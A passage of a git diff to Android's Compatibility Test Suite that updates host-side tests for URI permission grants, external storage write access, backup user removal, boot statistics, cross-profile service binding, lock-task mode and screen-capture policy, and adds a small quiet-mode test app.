+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITIES;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
@@ -38,6 +39,8 @@
import com.android.cts.permissiondeclareapp.UtilsProvider;
+import java.util.Objects;
+
public class Utils {
private static Context getContext() {
return InstrumentationRegistry.getTargetContext();
@@ -49,7 +52,19 @@
getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
}
- static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+ static void grantClipUriPermissionViaActivity(ClipData clip, int mode) {
+ grantClipUriPermission(clip, mode, ACTION_START_ACTIVITY);
+ }
+
+ static void grantClipUriPermissionViaActivities(ClipData clip, int mode) {
+ grantClipUriPermission(clip, mode, ACTION_START_ACTIVITIES);
+ }
+
+ static void grantClipUriPermissionViaService(ClipData clip, int mode) {
+ grantClipUriPermission(clip, mode, ACTION_START_SERVICE);
+ }
+
+ private static void grantClipUriPermission(ClipData clip, int mode, String action) {
Intent grantIntent = new Intent();
if (clip.getItemCount() == 1) {
grantIntent.setData(clip.getItemAt(0).getUri());
@@ -65,9 +80,10 @@
}
grantIntent.addFlags(mode);
grantIntent.setClass(getContext(),
- service ? ReceiveUriService.class : ReceiveUriActivity.class);
+ Objects.equals(ACTION_START_SERVICE, action) ? ReceiveUriService.class
+ : ReceiveUriActivity.class);
Intent intent = new Intent();
- intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+ intent.setAction(action);
intent.putExtra(EXTRA_INTENT, grantIntent);
call(intent);
}
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index c16d7f3..827b440 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -18,7 +18,6 @@
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.TAG;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoWriteAccess;
-import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadOnlyAccess;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadWriteAccess;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.buildCommonChildDirs;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.buildProbeFile;
@@ -220,9 +219,10 @@
/**
* Verify that we have write access in our package-specific directories on
- * secondary storage devices, but it becomes read-only access above them.
+ * secondary storage devices, and it still has read-write access above them (except
+ * /Android/[data|obb] dirs).
*/
- public void testSecondaryWalkingUpTreeReadOnly() throws Exception {
+ public void testSecondaryWalkingUpTreeReadWrite() throws Exception {
final List<File> paths = getSecondaryPackageSpecificPaths(getContext());
final String packageName = getContext().getPackageName();
@@ -242,11 +242,18 @@
// Walk all the way up to root
while (path != null) {
if (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState(path))) {
- assertDirReadOnlyAccess(path);
+ // /Android/data and /Android/obb is not write accessible on any volume
+ // (/storage/emulated/<user_id>/ or /storage/1234-ABCD/)
+ if (path.getAbsolutePath().endsWith("/Android/data")
+ || path.getAbsolutePath().endsWith("/Android/obb")) {
+ assertDirNoWriteAccess(path);
+ } else {
+ assertDirReadWriteAccess(path);
+ }
} else {
assertDirNoWriteAccess(path);
+ assertDirNoWriteAccess(buildCommonChildDirs(path));
}
- assertDirNoWriteAccess(buildCommonChildDirs(path));
path = path.getParentFile();
}
}
@@ -291,11 +298,11 @@
}
/**
- * Secondary external storage mount points must always be read-only, per
+ * Secondary external storage mount points must always be read-only (unless mounted), per
* CDD, <em>except</em> for the package specific directories tested by
* {@link CommonExternalStorageTest#testAllPackageDirsWritable()}.
*/
- public void testSecondaryMountPointsNotWritable() throws Exception {
+ public void testSecondaryMountPoints() throws Exception {
// Probe path could be /storage/emulated/0 or /storage/1234-5678
final File probe = buildProbeFile(Environment.getExternalStorageDirectory());
assertTrue(probe.createNewFile());
@@ -313,11 +320,20 @@
if (testProbe.exists() || testUserProbe.exists()) {
Log.d(TAG, "Primary external mountpoint " + path);
} else {
- // This mountpoint is not primary external storage; we must
- // not be able to write.
Log.d(TAG, "Other mountpoint " + path);
- assertDirNoWriteAccess(path);
- assertDirNoWriteAccess(userPath);
+ if (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState(path))) {
+ if (path.getAbsolutePath().endsWith("/Android/data")
+ || path.getAbsolutePath().endsWith("/Android/obb")) {
+ assertDirNoWriteAccess(path);
+ } else {
+ assertDirReadWriteAccess(path);
+ assertDirReadWriteAccess(buildCommonChildDirs(path));
+ }
+ }
+ else {
+ assertDirNoWriteAccess(path);
+ assertDirNoWriteAccess(userPath);
+ }
}
}
}
diff --git a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
index 3e7c1da..2f4164f 100644
--- a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
@@ -23,6 +23,8 @@
import com.android.compatibility.common.util.CommonTestUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.log.LogUtil.CLog;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -40,6 +42,12 @@
private Optional<Integer> mProfileUserId = Optional.empty();
+ /**
+ * User ID for the system user.
+ * The value is from the UserHandle class.
+ */
+ protected static final int USER_SYSTEM = 0;
+
/** Create the profile and start it. */
@Before
@Override
@@ -79,11 +87,21 @@
assertTrue(mBackupUtils.isBackupActivatedForUser(profileUserId));
- assertTrue(getDevice().removeUser(profileUserId));
+ removeUser(profileUserId);
mProfileUserId = Optional.empty();
CommonTestUtils.waitUntil("wait for backup to be deactivated for removed user",
BACKUP_DEACTIVATION_TIMEOUT_SECONDS,
() -> !mBackupUtils.isBackupActivatedForUser(profileUserId));
}
+
+ private void removeUser(int userId) throws Exception {
+ if (getDevice().listUsers().contains(userId) && userId != USER_SYSTEM) {
+ // Don't log output, as tests sometimes set no debug user restriction, which
+ // causes this to fail, we should still continue and remove the user.
+ CLog.d("Stopping and removing user " + userId);
+ getDevice().stopUser(userId, true, true);
+ assertTrue("Couldn't remove user", getDevice().removeUser(userId));
+ }
+ }
}
diff --git a/hostsidetests/bootstats/Android.bp b/hostsidetests/bootstats/Android.bp
index fa86bcf..3681c59 100644
--- a/hostsidetests/bootstats/Android.bp
+++ b/hostsidetests/bootstats/Android.bp
@@ -17,6 +17,7 @@
defaults: ["cts_defaults"],
// Only compile source java files in this apk.
srcs: ["src/**/*.java"],
+ static_libs: ["framework-protos"],
libs: [
"cts-tradefed",
"tradefed",
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
index 47789f1..9bcf2a1 100644
--- a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -18,11 +18,13 @@
import static com.google.common.truth.Truth.assertThat;
+import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
import com.android.os.AtomsProto.Atom;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IDeviceTest;
+import org.junit.Assert;
import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -53,6 +55,11 @@
+ " in Android 8.0. Current API Level " + apiLevel,
apiLevel < 26 /* Build.VERSION_CODES.O */);
+ if (apiLevel <= 29 /* Build.VERSION_CODES.Q */) {
+ testBootStatsForApiLevel29AndBelow();
+ return;
+ }
+
// Clear buffer to make it easier to find new logs
getDevice().executeShellCommand("logcat --buffer=events --clear");
@@ -109,6 +116,69 @@
return value;
}
+ /** Need to keep the old version of test for api 27, 28, 29 as new version
+ of tests can be used on devices with old Android versions */
+ private void testBootStatsForApiLevel29AndBelow() throws Exception {
+ long startTime = System.currentTimeMillis();
+ // Clear buffer to make it easier to find new logs
+ getDevice().executeShellCommand("logcat --buffer=events --clear");
+
+ // reboot device
+ getDevice().rebootUntilOnline();
+ waitForBootCompleted();
+ int upperBoundSeconds = (int) ((System.currentTimeMillis() - startTime) / 1000);
+
+ // wait for logs to post
+ Thread.sleep(10000);
+
+ // find logs and parse them
+ // ex: sysui_multi_action: [757,804,799,ota_boot_complete,801,85,802,1]
+ // ex: 757,804,799,counter_name,801,bucket_value,802,increment_value
+ final String bucketTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_BUCKET);
+ final String counterNameTag = Integer.toString(MetricsEvent.RESERVED_FOR_LOGBUILDER_NAME);
+ final String counterNamePattern = counterNameTag + ",boot_complete,";
+ final String multiActionPattern = "sysui_multi_action: [";
+
+ final String log = getDevice().executeShellCommand("logcat --buffer=events -d");
+
+ int counterNameIndex = log.indexOf(counterNamePattern);
+ Assert.assertTrue("did not find boot logs", counterNameIndex != -1);
+
+ int multiLogStart = log.lastIndexOf(multiActionPattern, counterNameIndex);
+ multiLogStart += multiActionPattern.length();
+ int multiLogEnd = log.indexOf("]", multiLogStart);
+ String[] multiLogDataStrings = log.substring(multiLogStart, multiLogEnd).split(",");
+
+ boolean foundBucket = false;
+ int bootTime = 0;
+ for (int i = 0; i < multiLogDataStrings.length; i += 2) {
+ if (bucketTag.equals(multiLogDataStrings[i])) {
+ foundBucket = true;
+ Assert.assertTrue("histogram data was truncated",
+ (i + 1) < multiLogDataStrings.length);
+ bootTime = Integer.valueOf(multiLogDataStrings[i + 1]);
+ }
+ }
+ Assert.assertTrue("log line did not contain a tag " + bucketTag, foundBucket);
+ Assert.assertTrue("reported boot time must be less than observed boot time",
+ bootTime < upperBoundSeconds);
+ Assert.assertTrue("reported boot time must be non-zero", bootTime > 0);
+ }
+
+ private boolean isBootCompleted() throws Exception {
+ return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+ }
+
+ private void waitForBootCompleted() throws Exception {
+ for (int i = 0; i < 45; i++) {
+ if (isBootCompleted()) {
+ return;
+ }
+ Thread.sleep(1000);
+ }
+ throw new AssertionError("System failed to become ready!");
+ }
+
@Override
public void setDevice(ITestDevice device) {
mDevice = device;
diff --git a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
index f02e901..0e473f2 100644
--- a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
+++ b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
@@ -30,6 +30,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -73,7 +74,10 @@
assumeTrue(mSupportsMultiUser);
mParentUserId = getDevice().getCurrentUser();
- assertEquals(USER_SYSTEM, mParentUserId);
+ // Automotive uses non-system user as current user always
+ if (!getDevice().hasFeature("feature:android.hardware.type.automotive")) {
+ assertEquals(USER_SYSTEM, mParentUserId);
+ }
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
mApkFile = buildHelper.getTestFile(TEST_WITH_PERMISSION_APK);
@@ -99,6 +103,7 @@
@Test
public void testBindServiceAsUser_differentUser_bindsServiceToCorrectUser()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -126,6 +131,7 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossUsersPermission_bindsService()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -153,6 +159,7 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossUsersPermission_bindsService()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -180,6 +187,7 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossProfilesPermission_bindsService()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -207,6 +215,7 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossProfilesPermission_throwsException()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -234,6 +243,7 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossProfilesAppOp_bindsService()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -261,6 +271,7 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossProfilesAppOp_throwsException()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -375,6 +386,7 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_withNoPermissions_throwsException()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -402,9 +414,8 @@
@Test
public void testBindServiceAsUser_sameProfileGroup_reportsMetric()
throws Exception {
- if (!isStatsdEnabled(getDevice())) {
- return;
- }
+ assumeTrue(isStatsdEnabled(getDevice()));
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */ true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -444,9 +455,7 @@
@Test
public void testBindServiceAsUser_differentProfileGroup_doesNotReportMetric()
throws Exception {
- if (!isStatsdEnabled(getDevice())) {
- return;
- }
+ assumeTrue(isStatsdEnabled(getDevice()));
int userInDifferentProfileGroup = createUser();
getDevice().startUser(userInDifferentProfileGroup, /* waitFlag= */ true);
mTestArgs.put("testUser", Integer.toString(userInDifferentProfileGroup));
@@ -483,9 +492,8 @@
@Test
public void testBindServiceAsUser_sameUser_doesNotReportMetric()
throws Exception {
- if (!isStatsdEnabled(getDevice())) {
- return;
- }
+ assumeTrue(isStatsdEnabled(getDevice()));
+
mTestArgs.put("testUser", Integer.toString(mParentUserId));
assertMetricsNotLogged(getDevice(), () -> {
@@ -506,6 +514,7 @@
@Test
public void testCreateContextAsUser_sameProfileGroup_withInteractAcrossProfilesPermission_throwsException()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -533,6 +542,7 @@
@Test
public void testCreateContextAsUser_sameProfileGroup_withInteractAcrossUsersPermission_createsContext()
throws Exception {
+ assumeTrue(supportsManagedUsers());
int userInSameProfileGroup = createProfile(mParentUserId);
getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -556,4 +566,12 @@
/* timeout= */60L,
TimeUnit.SECONDS);
}
+
+ boolean supportsManagedUsers() {
+ try {
+ return getDevice().hasFeature("feature:android.software.managed_users");
+ } catch (DeviceNotAvailableException e) {
+ return false;
+ }
+ }
}
diff --git a/hostsidetests/devicepolicy/AndroidTest.xml b/hostsidetests/devicepolicy/AndroidTest.xml
index 575dc04..b579e97 100644
--- a/hostsidetests/devicepolicy/AndroidTest.xml
+++ b/hostsidetests/devicepolicy/AndroidTest.xml
@@ -23,6 +23,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<!-- Device admin/owner requires being run in system user -->
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
<!-- Push the list of public APIs to device -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
similarity index 65%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index d957080..a33eec5 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -1,4 +1,3 @@
-//
// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,25 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
android_test_helper_app {
- name: "CtsAutoRevokeWhitelistedDummyApp",
+ name: "CtsModifyQuietModeEnabledApp",
defaults: ["cts_defaults"],
- sdk_version: "test_current",
- // Tag this module as a cts test artifact
+ srcs: ["src/**/*.java"],
+ libs: ["junit"],
+ static_libs: [
+ "androidx.legacy_legacy-support-v4",
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "androidx.test.rules",
+ "truth-prebuilt",
+ "ub-uiautomator",
+ ],
+ min_sdk_version: "29",
+ // tag this module as a cts test artifact
test_suites: [
"cts",
- "vts",
"vts10",
- "mts",
"general-tests",
],
- srcs: ["src/**/*.java", "src/**/*.kt"],
}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml
new file mode 100644
index 0000000..b371d96
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.modifyquietmodeenabledapp">
+
+ <uses-sdk android:minSdkVersion="29"
+ android:targetSdkVersion="29"/>
+
+ <uses-permission android:name="android.permission.MODIFY_QUIET_MODE"/>
+
+ <application android:crossProfile="true">
+ <receiver android:name=".ModifyQuietModeEnabledAppReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+ <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+ <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+ <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
+ </intent-filter>
+ </receiver>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.modifyquietmodeenabledapp"
+ android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
new file mode 100644
index 0000000..9647f11
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 168445
+alexkershaw@google.com
+kholoudm@google.com
+pbdr@google.com
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java
new file mode 100644
index 0000000..88e0f12
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java
@@ -0,0 +1,15 @@
+package com.android.cts.modifyquietmodeenabledapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Slog;
+
+public class ModifyQuietModeEnabledAppReceiver extends BroadcastReceiver {
+ private static final String TAG = "ModifyQuietModeEnabledAppReceiver";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Slog.w(TAG, String.format("onReceive(%s)", intent.getAction()));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index 409b076..4321f38 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -26,6 +26,7 @@
import android.content.pm.ResolveInfo;
import android.os.Build;
import android.os.Bundle;
+import android.os.SystemClock;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.Until;
@@ -47,6 +48,7 @@
private static final String TAG = LockTaskHostDrivenTest.class.getName();
private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000; // 20 seconds
+ private static final int LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS = 10000; // 10 seconds
private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
private static final String LOCK_TASK_ACTIVITY
= LockTaskUtilityActivityIfWhitelisted.class.getName();
@@ -114,6 +116,25 @@
mUiDevice.waitForIdle();
}
+ /**
+ * Poll for {@link ActivityManager#getLockTaskModeState()} to equal
+ * {@link ActivityManager#LOCK_TASK_MODE_NONE}
+ *
+ * <p>This will check every 500 milliseconds for a maximum of
+ * {@link #LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS} milliseconds.
+ */
+ private void waitForLockTaskModeStateNone() {
+ long delayed = 0;
+ long delay = 500;
+ while (delayed <= LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS) {
+ if (mActivityManager.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_NONE) {
+ break;
+ }
+ SystemClock.sleep(delay);
+ delayed += delay;
+ }
+ }
+
public void testLockTaskIsExitedIfNotWhitelisted() throws Exception {
Log.d(TAG, "testLockTaskIsExitedIfNotWhitelisted on host-driven test");
@@ -129,6 +150,7 @@
// Remove it from whitelist
setLockTaskPackages();
+ waitForLockTaskModeStateNone();
mUiDevice.waitForIdle();
// The activity should be finished and exit lock task mode
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
index f59803b..ed420f1 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
@@ -16,7 +16,6 @@
package com.android.cts.deviceandprofileowner;
import android.app.admin.DevicePolicyManager;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import android.util.Log;
/**
@@ -34,35 +33,32 @@
super.setUp();
}
- public void testSetScreenCaptureDisabled_false() throws Exception {
+ public void testSetScreenCaptureDisabled_false() {
mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
assertFalse(mDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
assertFalse(mDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
}
- public void testSetScreenCaptureDisabled_true() throws Exception {
+ public void testSetScreenCaptureDisabled_true() {
mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
assertTrue(mDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
assertTrue(mDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
}
- public void testSetScreenCaptureDisabledOnParent() throws Exception {
+ public void testSetScreenCaptureDisabledOnParent_false() {
DevicePolicyManager parentDevicePolicyManager =
mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
- boolean initial = parentDevicePolicyManager.getScreenCaptureDisabled(
- ADMIN_RECEIVER_COMPONENT);
-
- parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
- assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
- assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
- testScreenCaptureImpossible();
-
parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
assertFalse(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
assertFalse(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
- testScreenCapturePossible();
+ }
- parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, initial);
+ public void testSetScreenCaptureDisabledOnParent_true() {
+ DevicePolicyManager parentDevicePolicyManager =
+ mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+ parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
+ assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
+ assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
}
public void testScreenCaptureImpossible() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index bf67cc0..f6ad171 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -16,10 +16,14 @@
name: "SimpleSmsApp",
sdk_version: "test_current",
srcs: ["src/**/*.java"],
+ defaults: ["cts_defaults"],
static_libs: [
"cts-devicepolicy-suspensionchecker",
],
test_suites: [
+ "arcts",
"cts",
+ "vts10",
+ "general-tests",
],
}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index d828b86..5beb487 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -726,6 +726,7 @@
try {
// Install and enable assistant, notice that profile can't have assistant.
installAppAsUser(ASSIST_APP_APK, mPrimaryUserId);
+ waitForBroadcastIdle();
setVoiceInteractionService(ASSIST_INTERACTION_SERVICE);
setScreenCaptureDisabled_assist(mUserId, true /* disabled */);
} finally {
@@ -1223,6 +1224,9 @@
// Reboot while in kiosk mode and then unlock the device
rebootAndWaitUntilReady();
+ // Wait for the LockTask starting
+ waitForBroadcastIdle();
+
// Try to open settings via adb
